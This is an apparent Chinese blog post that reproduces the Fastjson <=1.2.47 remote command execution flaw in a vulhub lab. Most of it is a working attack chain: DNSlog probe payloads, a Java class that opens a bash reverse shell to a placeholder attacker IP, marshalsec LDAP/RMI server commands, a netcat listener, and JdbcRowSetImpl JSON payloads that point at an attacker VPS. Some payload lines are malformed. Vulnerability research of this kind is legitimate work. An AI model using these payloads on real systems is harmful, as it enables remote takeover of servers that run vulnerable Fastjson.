0x01 漏洞概述

FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings和loadClass函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,具体内容见下文)。

之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。

本次要利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。

0x02 漏洞版本

  1. Fastjson <= 1.2.47

0x03 漏洞复现

  1. vulhub/fastjson:1.2.45

POC

请求头改为POST,添加下面的Payload

  1. {"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
  2. {"@type":"java.net.InetSocketAddress"{"address":,"val":“a4gw7k.dnslog.cn"}}

EXP

  1. https://github.com/CaijiOrz/fastjson-1.2.47-RCE

修改Exploit.java文件中的反弹shell代码

  1. public class Exploit {
  2. public Exploit(){
  3. try{
  4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击者IP/22255 0>&1");
  5. }catch(Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. Exploit e = new Exploit();
  11. }
  12. }

!记得javac编译java文件

  1. javac Exploit.java

搭建一个简易的WEB服务器

  1. python3 -m http.server 55561

使用marshalsec启动LDAP服务或者RMI服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS服务器:55561/#Exploit 55562
  2. java cp marshalsec0.0.3SNAPSHOTall.jar marshalsec.jndi.RMIRefServer http://VPS服务器:55561/#Exploit 55562

攻击者主机监听反弹Shell

  1. nc -lvnp

Burp请求EXP服务器

  1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:55562/Exploit","autoCommit":true}}
  2. {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your_vps_ip:55562/Exploit","autoCommit":true}}

【漏洞复现】Fastjson <=1.2.47远程命令执行 - 0nth3way - 博客园 (cnblogs.com)